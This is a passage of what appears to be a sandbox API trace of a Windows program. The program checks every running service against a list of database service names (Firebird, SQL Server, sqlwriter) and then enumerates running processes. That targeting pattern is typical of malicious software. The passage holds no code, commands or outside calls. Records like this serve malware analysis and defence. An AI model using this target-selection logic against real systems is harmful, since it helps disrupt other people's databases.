lstrlenW (lpString="LanmanWorkstation") returned 17 [0135.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0135.548] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0135.548] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0135.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0135.548] lstrlenW (lpString="lmhosts") returned 7 [0135.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0135.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0135.548] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0135.548] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0135.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0135.548] lstrlenW (lpString="MMCSS") returned 5 [0135.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0135.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0135.548] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0135.548] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0135.548] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0135.548] lstrlenW (lpString="MpsSvc") returned 6 [0135.548] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0135.548] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0135.549] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0135.549] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0135.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0135.549] lstrlenW (lpString="Netman") returned 6 [0135.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0135.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0135.549] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0135.549] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0135.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0135.549] lstrlenW (lpString="netprofm") returned 8 [0135.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0135.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0135.549] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0135.549] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0135.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0135.549] lstrlenW (lpString="NlaSvc") returned 6 [0135.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0135.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0135.549] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0135.549] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0135.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0135.549] lstrlenW (lpString="nsi") returned 3 [0135.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0135.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0135.549] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0135.549] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0135.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0135.549] lstrlenW (lpString="PcaSvc") returned 6 [0135.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0135.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0135.549] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0135.549] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0135.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0135.550] lstrlenW (lpString="PlugPlay") returned 8 [0135.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0135.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0135.550] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0135.550] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0135.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0135.550] lstrlenW (lpString="Power") returned 5 [0135.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0135.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0135.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0135.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0135.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0135.550] lstrlenW (lpString="ProfSvc") returned 7 [0135.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0135.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0135.550] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0135.550] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0135.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0135.550] lstrlenW (lpString="RpcEptMapper") returned 12 [0135.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0135.550] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0135.550] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0135.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0135.550] lstrlenW (lpString="RpcSs") returned 5 [0135.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0135.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0135.550] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0135.550] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0135.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0135.550] lstrlenW (lpString="SamSs") returned 5 [0135.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0135.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0135.551] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0135.551] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0135.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0135.551] lstrlenW (lpString="Schedule") returned 8 [0135.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0135.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0135.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0135.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0135.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0135.551] lstrlenW (lpString="SENS") returned 4 [0135.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0135.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0135.551] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0135.551] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0135.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0135.551] lstrlenW (lpString="ShellHWDetection") returned 16 [0135.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0135.551] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0135.551] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0135.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0135.551] lstrlenW (lpString="Spooler") returned 7 [0135.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0135.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0135.551] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0135.551] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0135.551] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0135.551] lstrlenW (lpString="sppsvc") returned 6 [0135.551] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0135.551] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0135.555] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0135.555] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0135.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0135.555] lstrlenW (lpString="swprv") returned 5 [0135.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0135.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0135.555] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0135.555] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0135.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0135.555] lstrlenW (lpString="SysMain") returned 7 [0135.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0135.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0135.555] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0135.555] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0135.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0135.555] lstrlenW (lpString="Themes") returned 6 [0135.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0135.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0135.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0135.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0135.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0135.556] lstrlenW (lpString="TrkWks") returned 6 [0135.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0135.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0135.556] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0135.556] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0135.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0135.556] lstrlenW (lpString="UxSms") returned 5 [0135.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0135.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0135.556] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0135.556] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0135.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0135.556] lstrlenW (lpString="VSS") returned 3 [0135.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0135.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0135.556] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0135.556] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0135.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0135.556] lstrlenW (lpString="W32Time") returned 7 [0135.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0135.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0135.556] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0135.556] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0135.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0135.556] lstrlenW (lpString="WdiServiceHost") returned 14 [0135.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0135.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0135.556] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0135.556] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0135.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0135.556] lstrlenW (lpString="WdiSystemHost") returned 13 [0135.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0135.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0135.557] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0135.557] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0135.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0135.557] lstrlenW (lpString="WinDefend") returned 9 [0135.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0135.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0135.557] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0135.557] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0135.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0135.557] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0135.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0135.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0135.557] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0135.557] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0135.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0135.557] lstrlenW (lpString="Winmgmt") returned 7 [0135.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0135.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0135.557] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0135.557] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0135.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0135.557] lstrlenW (lpString="wscsvc") returned 6 [0135.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0135.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0135.557] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0135.557] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0135.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0135.557] lstrlenW (lpString="wuauserv") returned 8 [0135.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0135.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0135.557] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0135.558] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0135.558] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x22c [0135.560] Process32FirstW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0135.563] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0135.563] lstrlenW (lpString="System") returned 6 [0135.563] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0135.564] lstrlenW (lpString="smss.exe") returned 8 [0135.564] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.565] lstrlenW (lpString="csrss.exe") returned 9 [0135.565] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0135.566] lstrlenW (lpString="wininit.exe") returned 11 [0135.566] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0135.567] lstrlenW (lpString="csrss.exe") returned 9 [0135.567] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0135.568] lstrlenW (lpString="winlogon.exe") returned 12 [0135.568] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0135.569] lstrlenW (lpString="services.exe") returned 12 [0135.569] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0135.570] lstrlenW (lpString="lsass.exe") returned 9 [0135.570] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0135.571] lstrlenW (lpString="lsm.exe") returned 7 [0135.571] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.572] lstrlenW (lpString="svchost.exe") returned 11 [0135.572] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.573] lstrlenW (lpString="svchost.exe") returned 11 [0135.573] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.573] lstrlenW (lpString="svchost.exe") returned 11 [0135.573] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.574] lstrlenW (lpString="svchost.exe") returned 11 [0135.574] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.575] lstrlenW (lpString="svchost.exe") returned 11 [0135.575] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0135.576] lstrlenW (lpString="audiodg.exe") returned 11 [0135.576] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.577] lstrlenW (lpString="svchost.exe") returned 11 [0135.577] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.578] lstrlenW (lpString="svchost.exe") returned 11 [0135.578] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0135.579] lstrlenW (lpString="dwm.exe") returned 7 [0135.579] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0135.580] lstrlenW (lpString="explorer.exe") returned 12 [0135.580] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0135.581] lstrlenW (lpString="spoolsv.exe") returned 11 [0135.581] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0135.581] lstrlenW (lpString="taskhost.exe") returned 12 [0135.581] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0135.582] lstrlenW (lpString="svchost.exe") returned 11 [0135.582] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0135.583] lstrlenW (lpString="taskeng.exe") returned 11 [0135.583] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0135.584] lstrlenW (lpString="taskhost.exe") returned 12 [0135.584] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0135.623] lstrlenW (lpString="fixwaves.exe") returned 12 [0135.624] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0135.624] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0135.624] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0135.625] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0135.625] Process32NextW (in: hSnapshot=0x22c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0135.626] lstrlenW (lpString="monsaver.exe") returned 12 [0135.626] Process32NextW (in: 